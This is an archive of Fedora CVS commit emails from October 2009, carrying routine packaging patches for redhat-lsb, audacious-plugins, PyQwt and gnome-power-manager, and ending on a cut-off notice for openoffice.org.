Message-ID: <20091028134349.36D6D11C0268@cvs1.fedora.phx.redhat.com>

Author: spot

Update of /cvs/pkgs/rpms/redhat-lsb/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27721/devel

Modified Files:
	redhat-lsb.spec 
Added Files:
	redhat-lsb-trigger.patch 
Log Message:
fix 514760

redhat-lsb-trigger.patch:
 redhat_lsb_trigger.c |   87 ++++++++++++++++++++++++++++++++++++++++++++++-----
 1 file changed, 79 insertions(+), 8 deletions(-)

--- NEW FILE redhat-lsb-trigger.patch ---
--- redhat_lsb_trigger.c.jj	2008-04-16 19:50:14.000000000 +0200
+++ redhat_lsb_trigger.c	2009-10-26 19:51:12.886058784 +0100
@@ -423,10 +423,76 @@ is_ia64 (void)
 #define is_ia64() 0
 #endif
 
+char *
+strtok (char *p, const char *delim)
+{
+  static char *olds;
+  const char *d;
+  char *token;
+  if (p == NULL)
+    p = olds;
+  while (*p)
+    {
+      for (d = delim; *d; d++)
+	if (*p == *d)
+	  break;
+      if (!*d)
+	break;
+      p++;
+    }
+  if (!*p)
+    {
+      olds = p;
+      return NULL;
+    }
+  token = p;
+  while (*p)
+    {
+      for (d = delim; *d; d++)
+	if (*p == *d)
+	  break;
+      if (*d)
+	break;
+      p++;
+    }
+  if (!*p)
+    olds = p;
+  else
+    {
+      *p = '\0';
+      olds = p + 1;
+    }
+  return token;
+}
+
+size_t
+strlen (const char *s)
+{
+  const char *p;
+  for (p = s; *p; ++p);
+  return p - s;
+}
+
+void *
+mempcpy (void *dst, const void *src, size_t n)
+{
+  char *d = dst;
+  const char *s = src;
+  while (n--)
+    *d++ = *s++;
+  return d;
+}
+
+char *
+strcpy (char *dst, const char *src)
+{
+  char *ret = dst;
+  while ((*dst++ = *src++) != '\0');
+  return ret;
+}
+
 int main (int argc, char **argv)
 {
-/* redhat_lsb_trigger.c:428: warning: unused variable 'ret' */
-/*  long ret; */ 
   INTERNAL_SYSCALL_DECL (err);
   char lsbsover[] = LSBSOVER;
   char *LSBVER, *p = lsbsover;
@@ -455,11 +521,18 @@ void __libc_csu_fini (void) { }
 pid_t __fork (void) { return -1; }
 char thr_buf[65536];
 
+void
+__attribute__ ((noreturn))
+__stack_chk_fail (void)
+{
+  INTERNAL_SYSCALL_DECL (err);
+  while (1)
+    INTERNAL_SYSCALL (exit, err, 1, 1);
+}
+
 #ifndef __powerpc__
 
-/* /usr/lib/gcc/ppc64-redhat-linux/4.1.2/../../../../lib64/libc.a(libc-start.o): In function `__libc_start_main':
- *  * (.opd+0x10): multiple definition of `__libc_start_main'  */
-int ___libc_start_main (int (*main) (int argc, char **argv),
+int __libc_start_main (int (*main) (int argc, char **argv),
                        int argc, char **argv,
 		       void (*init) (void), void (*fini) (void),
 		       void (*rtld_fini) (void), void * stack_end)
@@ -472,9 +545,7 @@ struct startup_info
   void (*fini) (void);
 };
 
-/* /usr/lib/gcc/ppc64-redhat-linux/4.1.2/../../../../lib64/libc.a(libc-start.o): In function `__libc_start_main':
- * (.opd+0x10): multiple definition of `__libc_start_main'  */
-int ___libc_start_main (int argc, char **argv, char **ev,
+int __libc_start_main (int argc, char **argv, char **ev,
 		       void *auxvec, void (*rtld_fini) (void),
 		       struct startup_info *stinfo,
 		       char **stack_on_entry)


Index: redhat-lsb.spec
===================================================================
RCS file: /cvs/pkgs/rpms/redhat-lsb/devel/redhat-lsb.spec,v
retrieving revision 1.47
retrieving revision 1.48
diff -u -p -r1.47 -r1.48
--- redhat-lsb.spec	21 Oct 2009 15:46:22 -0000	1.47
+++ redhat-lsb.spec	28 Oct 2009 13:43:48 -0000	1.48
@@ -49,11 +49,12 @@
 Summary: LSB support for Red Hat Linux
 Name: redhat-lsb
 Version: 3.2
-Release: 6%{?dist}
+Release: 7%{?dist}
 URL: http://www.linuxfoundation.org/collaborate/workgroups/lsb
 Source0: %{name}-%{version}-%{srcrelease}.tar.bz2
 Patch0: lsb-release-3.1-update-init-functions.patch
 Patch1: redhat-lsb-lsb_start_daemon-fix.patch
+Patch2: redhat-lsb-trigger.patch
 License: GPLv2
 Group: System Environment/Base
 BuildRoot: %{_tmppath}/%{name}-root
@@ -528,6 +529,7 @@ installed on the system.
 %setup -q
 %patch0 -p1
 %patch1 -p1
+%patch2 -p0 -b .triggerfix
 
 %build
 cd lsb-release-%{upstreamlsbrelver}
@@ -582,7 +584,7 @@ ln -snf ../../../sbin/chkconfig $RPM_BUI
 
 # According to https://bugzilla.redhat.com/show_bug.cgi?id=232918 , the '-static' option
 # is imported against segfault error while running redhat_lsb_trigger
-gcc $RPM_OPT_FLAGS -Os -static -o redhat_lsb_trigger{.%{_target_cpu},.c} -DLSBSOVER='"%{lsbsover}"' \
+gcc $RPM_OPT_FLAGS -Os -static -fno-stack-protector -o redhat_lsb_trigger{.%{_target_cpu},.c} -DLSBSOVER='"%{lsbsover}"' \
   -DLDSO='"%{ldso}"' -DLSBLDSO='"/%{_lib}/%{lsbldso}"' -D_GNU_SOURCE
 install -m 700 redhat_lsb_trigger.%{_target_cpu} \
   $RPM_BUILD_ROOT%{_sbindir}/redhat_lsb_trigger.%{_target_cpu}
@@ -647,6 +649,9 @@ fi
 #/usr/X11R6/lib/X11/rgb.txt
 
 %changelog
+* Tue Oct 27 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 3.2-7
+- apply fix from bz514760 (thanks to Jakub Jelinek)
+
 * Wed Oct 21 2009 Tom "spot" Callaway <tcallawa at redhat.com> - 3.2-6
 - apply fix from bz485367 (thanks to Jon Thomas)
 



From pkgdb at fedoraproject.org  Wed Oct 28 13:44:54 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 28 Oct 2009 13:44:54 +0000
Subject: [pkgdb] b43-tools: linville has requested watchcommits
Message-ID: <20091028134454.E6F3110F88B@bastion2.fedora.phx.redhat.com>

linville has requested the watchcommits acl on b43-tools (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/b43-tools



From pkgdb at fedoraproject.org  Wed Oct 28 13:45:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 28 Oct 2009 13:45:02 +0000
Subject: [pkgdb] b43-tools: linville has requested watchbugzilla
Message-ID: <20091028134502.55C4110F88B@bastion2.fedora.phx.redhat.com>

linville has requested the watchbugzilla acl on b43-tools (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/b43-tools



From pkgdb at fedoraproject.org  Wed Oct 28 13:45:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Wed, 28 Oct 2009 13:45:04 +0000
Subject: [pkgdb] b43-tools: linville has requested commit
Message-ID: <20091028134505.0D07710F89A@bastion2.fedora.phx.redhat.com>

linville has requested the commit acl on b43-tools (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/b43-tools



From mschwendt at fedoraproject.org  Wed Oct 28 13:53:27 2009
From: mschwendt at fedoraproject.org (Michael Schwendt)
Date: Wed, 28 Oct 2009 13:53:27 +0000 (UTC)
Subject: rpms/audacious-plugins/F-10
	audacious-plugins-1.5.1-sndfile-playfix.patch, NONE,
	1.1 audacious-plugins.spec, 1.40, 1.41
Message-ID: <20091028135327.A3CFE11C00E5@cvs1.fedora.phx.redhat.com>

Author: mschwendt

Update of /cvs/pkgs/rpms/audacious-plugins/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29518/F-10

Modified Files:
	audacious-plugins.spec 
Added Files:
	audacious-plugins-1.5.1-sndfile-playfix.patch 
Log Message:
* Wed Oct 28 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 1.5.1-15
- Remove decode_thread from sndfile plugin to fix playback.


audacious-plugins-1.5.1-sndfile-playfix.patch:
 plugin.c |   18 +-----------------
 1 file changed, 1 insertion(+), 17 deletions(-)

--- NEW FILE audacious-plugins-1.5.1-sndfile-playfix.patch ---
diff -Nur audacious-plugins-1.5.1-sndfile-cleanup/src/sndfile/plugin.c audacious-plugins-1.5.1-sndfile-playfix/src/sndfile/plugin.c
--- audacious-plugins-1.5.1-sndfile-cleanup/src/sndfile/plugin.c	2009-10-28 14:45:17.432796535 +0100
+++ audacious-plugins-1.5.1-sndfile-playfix/src/sndfile/plugin.c	2009-10-28 14:43:21.000000000 +0100
@@ -49,7 +49,6 @@
 static glong seek_time = -1;
 static volatile char pause_flag;
 
-static GThread *decode_thread;
 static GMutex *decode_mutex;
 static GCond *decode_cond;
 
@@ -395,17 +394,8 @@
         samples = sf_read_short (sndfile, buffer, BUFFER_SIZE);
 
         if (samples > 0 && playback->playing == TRUE) {
-            while ((playback->output->buffer_free () < samples) &&
-                   playback->playing == TRUE) {
-                g_get_current_time(&sleeptime);
-                g_time_val_add(&sleeptime, 500000);
-                g_mutex_lock(decode_mutex);
-                g_cond_timed_wait(decode_cond, decode_mutex, &sleeptime);
-                g_mutex_unlock(decode_mutex);
-
                 if (playback->playing == FALSE)
                     break;
-            }
 
             playback->pass_audio(playback, FMT_S16_NE, sfinfo.channels, 
                                  samples * sizeof(buffer[0]), buffer, &playback->playing);
@@ -483,9 +473,9 @@
 
     playback->playing = TRUE;
 
-    decode_thread = g_thread_self();
     playback->set_pb_ready(playback);
     play_loop(playback);
+    playback->playing = FALSE;
 }
 
 static void
@@ -497,18 +487,12 @@
 static void
 play_stop (InputPlayback *playback)
 {
-    if (decode_thread == NULL)
-        return;
-
     g_mutex_lock(decode_mutex);
     playback->playing = FALSE;
     g_mutex_unlock(decode_mutex);
     g_cond_signal(decode_cond);
 
-    g_thread_join (decode_thread);
-
     sndfile = NULL;
-    decode_thread = NULL;
     seek_time = -1;
 }
 


Index: audacious-plugins.spec
===================================================================
RCS file: /cvs/pkgs/rpms/audacious-plugins/F-10/audacious-plugins.spec,v
retrieving revision 1.40
retrieving revision 1.41
diff -u -p -r1.40 -r1.41
--- audacious-plugins.spec	26 Oct 2009 11:27:32 -0000	1.40
+++ audacious-plugins.spec	28 Oct 2009 13:53:27 -0000	1.41
@@ -4,7 +4,7 @@
 
 Name:           audacious-plugins
 Version:        1.5.1
-Release:        14%{?dist}
+Release:        15%{?dist}
 Summary:        Plugins for the Audacious media player
 Group:          Applications/Multimedia
 
@@ -28,6 +28,7 @@ Patch7:         audacious-plugins-1.5.1-
 Patch8:         audacious-plugins-1.5.1-sndfile-cleanup.patch
 Patch9:         audacious-plugins-1.5.1-pulseaudio-volume.patch
 Patch10:        audacious-plugins-1.5.1-pulseaudio-volume-accuracy.patch
+Patch11:        audacious-plugins-1.5.1-sndfile-playfix.patch
 
 # alsa-ng plugin from 2.1 devel up to 2.2 alpha1
 Patch50: audacious-plugins-1.5.1-alsa-ng.patch
@@ -182,6 +183,8 @@ vortex compressed files.
 %patch9 -p1 -b .pulseaudio-volume
 %patch10 -p1 -b .pulseaudio-volume-accuracy
 
+%patch11 -p1 -b .sndfile-playfix
+
 %patch50 -p1 -b .alsa-ng
 %patch51 -p1 -b .alsa-ng2
 %patch52 -p1 -b .mixer-not-ready
@@ -280,6 +283,9 @@ update-desktop-database &> /dev/null || 
 
 
 %changelog
+* Wed Oct 28 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 1.5.1-15
+- Remove decode_thread from sndfile plugin to fix playback.
+
 * Wed Oct 21 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 1.5.1-14
 - Set buffer_time_min in underruns patch. Depend on default buffer size.
 



From mschwendt at fedoraproject.org  Wed Oct 28 13:53:27 2009
From: mschwendt at fedoraproject.org (Michael Schwendt)
Date: Wed, 28 Oct 2009 13:53:27 +0000 (UTC)
Subject: rpms/audacious-plugins/F-11
	audacious-plugins-1.5.1-sndfile-playfix.patch, NONE,
	1.1 audacious-plugins.spec, 1.42, 1.43
Message-ID: <20091028135327.D6CED11C0268@cvs1.fedora.phx.redhat.com>

Author: mschwendt

Update of /cvs/pkgs/rpms/audacious-plugins/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29518/F-11

Modified Files:
	audacious-plugins.spec 
Added Files:
	audacious-plugins-1.5.1-sndfile-playfix.patch 
Log Message:
* Wed Oct 28 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 1.5.1-15
- Remove decode_thread from sndfile plugin to fix playback.


audacious-plugins-1.5.1-sndfile-playfix.patch:
 plugin.c |   18 +-----------------
 1 file changed, 1 insertion(+), 17 deletions(-)

--- NEW FILE audacious-plugins-1.5.1-sndfile-playfix.patch ---
diff -Nur audacious-plugins-1.5.1-sndfile-cleanup/src/sndfile/plugin.c audacious-plugins-1.5.1-sndfile-playfix/src/sndfile/plugin.c
--- audacious-plugins-1.5.1-sndfile-cleanup/src/sndfile/plugin.c	2009-10-28 14:45:17.432796535 +0100
+++ audacious-plugins-1.5.1-sndfile-playfix/src/sndfile/plugin.c	2009-10-28 14:43:21.000000000 +0100
@@ -49,7 +49,6 @@
 static glong seek_time = -1;
 static volatile char pause_flag;
 
-static GThread *decode_thread;
 static GMutex *decode_mutex;
 static GCond *decode_cond;
 
@@ -395,17 +394,8 @@
         samples = sf_read_short (sndfile, buffer, BUFFER_SIZE);
 
         if (samples > 0 && playback->playing == TRUE) {
-            while ((playback->output->buffer_free () < samples) &&
-                   playback->playing == TRUE) {
-                g_get_current_time(&sleeptime);
-                g_time_val_add(&sleeptime, 500000);
-                g_mutex_lock(decode_mutex);
-                g_cond_timed_wait(decode_cond, decode_mutex, &sleeptime);
-                g_mutex_unlock(decode_mutex);
-
                 if (playback->playing == FALSE)
                     break;
-            }
 
             playback->pass_audio(playback, FMT_S16_NE, sfinfo.channels, 
                                  samples * sizeof(buffer[0]), buffer, &playback->playing);
@@ -483,9 +473,9 @@
 
     playback->playing = TRUE;
 
-    decode_thread = g_thread_self();
     playback->set_pb_ready(playback);
     play_loop(playback);
+    playback->playing = FALSE;
 }
 
 static void
@@ -497,18 +487,12 @@
 static void
 play_stop (InputPlayback *playback)
 {
-    if (decode_thread == NULL)
-        return;
-
     g_mutex_lock(decode_mutex);
     playback->playing = FALSE;
     g_mutex_unlock(decode_mutex);
     g_cond_signal(decode_cond);
 
-    g_thread_join (decode_thread);
-
     sndfile = NULL;
-    decode_thread = NULL;
     seek_time = -1;
 }
 


Index: audacious-plugins.spec
===================================================================
RCS file: /cvs/pkgs/rpms/audacious-plugins/F-11/audacious-plugins.spec,v
retrieving revision 1.42
retrieving revision 1.43
diff -u -p -r1.42 -r1.43
--- audacious-plugins.spec	26 Oct 2009 11:26:53 -0000	1.42
+++ audacious-plugins.spec	28 Oct 2009 13:53:27 -0000	1.43
@@ -4,7 +4,7 @@
 
 Name:           audacious-plugins
 Version:        1.5.1
-Release:        14%{?dist}
+Release:        15%{?dist}
 Summary:        Plugins for the Audacious media player
 Group:          Applications/Multimedia
 
@@ -28,6 +28,7 @@ Patch7:         audacious-plugins-1.5.1-
 Patch8:         audacious-plugins-1.5.1-sndfile-cleanup.patch
 Patch9:         audacious-plugins-1.5.1-pulseaudio-volume.patch
 Patch10:        audacious-plugins-1.5.1-pulseaudio-volume-accuracy.patch
+Patch11:        audacious-plugins-1.5.1-sndfile-playfix.patch
 
 # alsa-ng plugin from 2.1 devel up to 2.2 alpha1
 Patch50: audacious-plugins-1.5.1-alsa-ng.patch
@@ -182,6 +183,8 @@ vortex compressed files.
 %patch9 -p1 -b .pulseaudio-volume
 %patch10 -p1 -b .pulseaudio-volume-accuracy
 
+%patch11 -p1 -b .sndfile-playfix
+
 %patch50 -p1 -b .alsa-ng
 %patch51 -p1 -b .alsa-ng2
 %patch52 -p1 -b .mixer-not-ready
@@ -280,6 +283,9 @@ update-desktop-database &> /dev/null || 
 
 
 %changelog
+* Wed Oct 28 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 1.5.1-15
+- Remove decode_thread from sndfile plugin to fix playback.
+
 * Wed Oct 21 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 1.5.1-14
 - Set buffer_time_min in underruns patch. Depend on default buffer size.
 



From tadej at fedoraproject.org  Wed Oct 28 13:54:40 2009
From: tadej at fedoraproject.org (=?utf-8?q?Tadej_Jane=C5=BE?=)
Date: Wed, 28 Oct 2009 13:54:40 +0000 (UTC)
Subject: rpms/PyQwt/F-12 PyQwt.spec,1.4,1.5
Message-ID: <20091028135440.1806111C00E5@cvs1.fedora.phx.redhat.com>

Author: tadej

Update of /cvs/pkgs/rpms/PyQwt/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27093

Modified Files:
	PyQwt.spec 
Log Message:
- made qplt.py executable (to fix a rpmlint error)
- removed html/.buildinfo from sphinx documentation (to fix a rpmlint error)
- changed BuildRequires from numpy to numpy-f2py to cope with the numpy
  package split
- temporarily removed qwt.py* files which conflict with the ones provided
  by the PyQt4 package




Index: PyQwt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/PyQwt/F-12/PyQwt.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- PyQwt.spec	7 Sep 2009 05:27:53 -0000	1.4
+++ PyQwt.spec	28 Oct 2009 13:54:39 -0000	1.5
@@ -2,7 +2,7 @@
 
 Name:           PyQwt
 Version:        5.2.0
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Python bindings for Qwt
 
 Group:          Development/Languages
@@ -15,7 +15,7 @@ BuildRoot:      %{_tmppath}/%{name}-%{ve
 BuildRequires:  python-devel
 BuildRequires:  sip-devel
 BuildRequires:  PyQt4-devel
-BuildRequires:  numpy
+BuildRequires:  numpy-f2py
 BuildRequires:  qwt-devel
 
 Requires:       PyQt4
@@ -53,13 +53,19 @@ make %{?_smp_mflags}
 rm -rf %{buildroot}
 cd configure
 make DESTDIR=%{buildroot} install
+# move the generated pdf and html documentation to sphinx directory and remove the build files
 cd ..
 mv sphinx/build/latex/PyQwt.pdf sphinx
+rm sphinx/build/html/.buildinfo
 mv sphinx/build/html sphinx
 rm -rf sphinx/build
 
-# non-executable script
+# non-executable scripts
 chmod 755 %{buildroot}/%{python_sitearch}/PyQt4/Qwt5/grace.py
+chmod 755 %{buildroot}/%{python_sitearch}/PyQt4/Qwt5/qplt.py
+
+#FIXME!!! temporarily remove qwt.py* files which conflict with PyQt4 package
+rm -rf %{buildroot}/%{python_sitearch}/PyQt4/uic
  
 %clean
 rm -rf %{buildroot}
@@ -78,6 +84,14 @@ rm -rf %{buildroot}
 %{_datadir}/sip/PyQt4/Qwt5/
 
 %changelog
+* Wed Oct 28 2009 Tadej Jane? <tadej.janez at tadej.hicsalta.si> 5.2.0-2
+- made qplt.py executable (to fix a rpmlint error)
+- removed html/.buildinfo from sphinx documentation (to fix a rpmlint error)
+- changed BuildRequires from numpy to numpy-f2py to cope with the numpy
+  package split
+- temporarily removed qwt.py* files which conflict with the ones provided
+  by the PyQt4 package
+
 * Sun Sep  6 2009 Milos Jakubicek <xjakub at fi.muni.cz> - 5.2.0-1
 - Fix FTBFS: Update to 5.2.0
 



From hadess at fedoraproject.org  Wed Oct 28 13:55:04 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Wed, 28 Oct 2009 13:55:04 +0000 (UTC)
Subject: rpms/gnome-power-manager/F-12
	0001-Use-gnome-settings-daemon-popup-code.patch, 1.3,
	1.4 gnome-power-manager.spec, 1.181, 1.182
Message-ID: <20091028135504.5931911C00E5@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gnome-power-manager/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29818

Modified Files:
	0001-Use-gnome-settings-daemon-popup-code.patch 
	gnome-power-manager.spec 
Log Message:
* Wed Oct 28 2009 Bastien Nocera <bnocera at redhat.com> 2.28.1-4
- Match gnome-settings-daemon's positioning for the OSD


0001-Use-gnome-settings-daemon-popup-code.patch:
 b/data/Makefile.am            |    3 
 b/data/acme.ui                |   41 +
 b/src/Makefile.am             |    5 
 b/src/gpm-backlight.c         |  108 +++-
 b/src/gsd-media-keys-window.c | 1109 ++++++++++++++++++++++++++++++++++++++++++
 b/src/gsd-media-keys-window.h |   70 ++
 src/gpm-popup-window.c        |  725 ---------------------------
 src/gpm-popup-window.h        |   61 --
 8 files changed, 1322 insertions(+), 800 deletions(-)

Index: 0001-Use-gnome-settings-daemon-popup-code.patch
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-power-manager/F-12/0001-Use-gnome-settings-daemon-popup-code.patch,v
retrieving revision 1.3
retrieving revision 1.4
diff -u -p -r1.3 -r1.4
--- 0001-Use-gnome-settings-daemon-popup-code.patch	28 Oct 2009 10:43:10 -0000	1.3
+++ 0001-Use-gnome-settings-daemon-popup-code.patch	28 Oct 2009 13:55:04 -0000	1.4
@@ -1,21 +1,24 @@
-From d28e419aa83da01295f7c5729e87baa55996fb11 Mon Sep 17 00:00:00 2001
+From 72cfffc3638de64192ff2323450da26e9125fb89 Mon Sep 17 00:00:00 2001
 From: Bastien Nocera <hadess at hadess.net>
 Date: Tue, 27 Oct 2009 23:33:46 +0000
 Subject: [PATCH] Use gnome-settings-daemon popup code
 
 Instead of forking it.
 
+Also make sure the location of the popup matches
+that used by gnome-settings-daemon.
+
 https://bugzilla.gnome.org/show_bug.cgi?id=594664
 ---
  data/Makefile.am            |    3 +-
  data/acme.ui                |   41 ++
  src/Makefile.am             |    5 +-
- src/gpm-backlight.c         |   39 ++-
+ src/gpm-backlight.c         |  108 ++++-
  src/gpm-popup-window.c      |  725 ----------------------------
  src/gpm-popup-window.h      |   61 ---
  src/gsd-media-keys-window.c | 1109 +++++++++++++++++++++++++++++++++++++++++++
  src/gsd-media-keys-window.h |   69 +++
- 8 files changed, 1256 insertions(+), 796 deletions(-)
+ 8 files changed, 1322 insertions(+), 799 deletions(-)
  create mode 100644 data/acme.ui
  delete mode 100644 src/gpm-popup-window.c
  delete mode 100644 src/gpm-popup-window.h
@@ -107,7 +110,7 @@ index b41da1f..b038669 100644
  	gpm-engine.c					\
  	$(NULL)
 diff --git a/src/gpm-backlight.c b/src/gpm-backlight.c
-index 7714bcc..92ec869 100644
+index 7714bcc..5c2e453 100644
 --- a/src/gpm-backlight.c
 +++ b/src/gpm-backlight.c
 @@ -48,7 +48,7 @@
@@ -119,7 +122,7 @@ index 7714bcc..92ec869 100644
  #include "gpm-dpms.h"
  #include "gpm-idle.h"
  #include "gpm-marshal.h"
-@@ -167,6 +167,25 @@ gpm_backlight_set_brightness (GpmBacklight *backlight, guint percentage, GError
+@@ -167,6 +167,88 @@ gpm_backlight_set_brightness (GpmBacklight *backlight, guint percentage, GError
  }
  
  /**
@@ -128,7 +131,7 @@ index 7714bcc..92ec869 100644
 + * Initialises the popup, and makes sure that it matches the compositing of the screen.
 + **/
 +static void
-+dialog_init (GpmBacklight *backlight)
++gpm_backlight_dialog_init (GpmBacklight *backlight)
 +{
 +	if (backlight->priv->popup != NULL
 +	    && !gsd_media_keys_window_is_valid (GSD_MEDIA_KEYS_WINDOW (backlight->priv->popup))) {
@@ -142,43 +145,112 @@ index 7714bcc..92ec869 100644
 +}
 +
 +/**
++ * gpm_backlight_dialog_show:
++ *
++ * Show the brightness popup, and place it nicely on the screen.
++ **/
++static void
++gpm_backlight_dialog_show (GpmBacklight *backlight)
++{
++	int            orig_w;
++	int            orig_h;
++	int            screen_w;
++	int            screen_h;
++	int            x;
++	int            y;
++	int            pointer_x;
++	int            pointer_y;
++	GtkRequisition win_req;
++	GdkScreen     *pointer_screen;
++	GdkRectangle   geometry;
++	int            monitor;
++
++	/*
++	 * get the window size
++	 * if the window hasn't been mapped, it doesn't necessarily
++	 * know its true size, yet, so we need to jump through hoops
++	 */
++	gtk_window_get_default_size (GTK_WINDOW (backlight->priv->popup), &orig_w, &orig_h);
++	gtk_widget_size_request (backlight->priv->popup, &win_req);
++
++	if (win_req.width > orig_w) {
++		orig_w = win_req.width;
++	}
++	if (win_req.height > orig_h) {
++		orig_h = win_req.height;
++	}
++
++	pointer_screen = NULL;
++	gdk_display_get_pointer (gtk_widget_get_display (backlight->priv->popup),
++				 &pointer_screen,
++				 &pointer_x,
++				 &pointer_y,
++				 NULL);
++	monitor = gdk_screen_get_monitor_at_point (pointer_screen,
++						   pointer_x,
++						   pointer_y);
++
++	gdk_screen_get_monitor_geometry (pointer_screen,
++					 monitor,
++					 &geometry);
++
++	screen_w = geometry.width;
++	screen_h = geometry.height;
++
++	x = ((screen_w - orig_w) / 2) + geometry.x;
++	y = geometry.y + (screen_h / 2) + (screen_h / 2 - orig_h) / 2;
++
++	gtk_window_move (GTK_WINDOW (backlight->priv->popup), x, y);
++
++	gtk_widget_show (backlight->priv->popup);
++
++	gdk_display_sync (gtk_widget_get_display (backlight->priv->popup));
++}
++
++/**
   * gpm_common_sum_scale:
   *
   * Finds the average between value1 and value2 set on a scale factor
-@@ -261,7 +280,9 @@ gpm_backlight_brightness_evaluate_and_set (GpmBacklight *backlight, gboolean int
+@@ -261,8 +343,10 @@ gpm_backlight_brightness_evaluate_and_set (GpmBacklight *backlight, gboolean int
  
  	/* only show dialog if interactive */
  	if (interactive) {
 -		gpm_popup_window_set_value (GPM_POPUP_WINDOW (backlight->priv->popup), (float) brightness);
-+		dialog_init (backlight);
+-		gtk_widget_show (backlight->priv->popup);
++		gpm_backlight_dialog_init (backlight);
 +		gsd_media_keys_window_set_volume_level (GSD_MEDIA_KEYS_WINDOW (backlight->priv->popup),
 +							round (brightness));
- 		gtk_widget_show (backlight->priv->popup);
++		gpm_backlight_dialog_show (backlight);
  	}
  
-@@ -352,7 +373,9 @@ gpm_backlight_button_pressed_cb (GpmButton *button, const gchar *type, GpmBackli
+ 	ret = gpm_brightness_set (backlight->priv->brightness, value, &hw_changed);
+@@ -352,8 +436,10 @@ gpm_backlight_button_pressed_cb (GpmButton *button, const gchar *type, GpmBackli
  		/* show the new value */
  		if (ret) {
  			gpm_brightness_get (backlight->priv->brightness, &percentage);
 -			gpm_popup_window_set_value (GPM_POPUP_WINDOW (backlight->priv->popup), (gfloat) percentage/100.0f);
-+			dialog_init (backlight);
+-			gtk_widget_show (backlight->priv->popup);
++			gpm_backlight_dialog_init (backlight);
 +			gsd_media_keys_window_set_volume_level (GSD_MEDIA_KEYS_WINDOW (backlight->priv->popup),
 +								percentage);
- 			gtk_widget_show (backlight->priv->popup);
++			gpm_backlight_dialog_show (backlight);
  			/* save the new percentage */
  			backlight->priv->master_percentage = percentage;
-@@ -369,7 +392,9 @@ gpm_backlight_button_pressed_cb (GpmButton *button, const gchar *type, GpmBackli
+ 		}
+@@ -369,8 +455,10 @@ gpm_backlight_button_pressed_cb (GpmButton *button, const gchar *type, GpmBackli
  		/* show the new value */
  		if (ret) {
  			gpm_brightness_get (backlight->priv->brightness, &percentage);
 -			gpm_popup_window_set_value (GPM_POPUP_WINDOW (backlight->priv->popup), (gfloat) percentage/100.0f);
-+			dialog_init (backlight);
+-			gtk_widget_show (backlight->priv->popup);
++			gpm_backlight_dialog_init (backlight);
 +			gsd_media_keys_window_set_volume_level (GSD_MEDIA_KEYS_WINDOW (backlight->priv->popup),
 +								percentage);
- 			gtk_widget_show (backlight->priv->popup);
++			gpm_backlight_dialog_show (backlight);
  			/* save the new percentage */
  			backlight->priv->master_percentage = percentage;
-@@ -688,10 +713,10 @@ gpm_backlight_init (GpmBacklight *backlight)
+ 		}
+@@ -688,10 +776,10 @@ gpm_backlight_init (GpmBacklight *backlight)
  	gpm_idle_set_timeout_dim (backlight->priv->idle, backlight->priv->idle_dim_timeout);
  
  	/* use a visual widget */
@@ -992,7 +1064,7 @@ index ad3e33e..0000000
 -#endif
 diff --git a/src/gsd-media-keys-window.c b/src/gsd-media-keys-window.c
 new file mode 100644
-index 0000000..80f4e4d
+index 0000000..cf3c726
 --- /dev/null
 +++ b/src/gsd-media-keys-window.c
 @@ -0,0 +1,1109 @@
@@ -1853,8 +1925,8 @@ index 0000000..80f4e4d
 +        draw_volume_boxes (window,
 +                           cr,
 +                           (double)window->priv->volume_level / 100.0,
-+                           bright_box_x0 + 0.5,
-+                           bright_box_y0 + 0.5,
++                           bright_box_x0,
++                           bright_box_y0,
 +                           bright_box_width,
 +                           bright_box_height);
 +}
@@ -2181,5 +2253,5 @@ index 0000000..dd4ae90
 +
 +#endif
 -- 
-1.6.5.rc2
+1.6.5.1
 


Index: gnome-power-manager.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-power-manager/F-12/gnome-power-manager.spec,v
retrieving revision 1.181
retrieving revision 1.182
diff -u -p -r1.181 -r1.182
--- gnome-power-manager.spec	28 Oct 2009 10:53:08 -0000	1.181
+++ gnome-power-manager.spec	28 Oct 2009 13:55:04 -0000	1.182
@@ -5,7 +5,7 @@
 Summary: GNOME power management service
 Name: gnome-power-manager
 Version: 2.28.1
-Release: 3%{?dist}
+Release: 4%{?dist}
 #Release: 0.5.%{?alphatag}git%{?dist}
 License: GPLv2+ and GFDL
 Group: Applications/System
@@ -196,6 +196,9 @@ fi
 %{_datadir}/icons/hicolor/*/apps/gnome-inhibit-applet.*
 
 %changelog
+* Wed Oct 28 2009 Bastien Nocera <bnocera at redhat.com> 2.28.1-4
+- Match gnome-settings-daemon's positioning for the OSD
+
 * Tue Oct 27 2009 Bastien Nocera <bnocera at redhat.com> 2.28.1-3
 - Update OSD to match gnome-settings-daemon's
 



From caolanm at fedoraproject.org  Wed Oct 28 13:56:40 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Wed, 28 Oct 2009 13:56:40 +0000 (UTC)
Subject: rpms/openoffice.org/F-12 openoffice.org.spec, 1.2023,
	1.2024 openoffice.org-3.2.0.oooXXXXXX.vcl.dontresolve.patch, 1.1, NONE
Message-ID: <20091028135640.1583611C00E5@cvs1.fedora.phx.redhat.com>

Author: caolanm

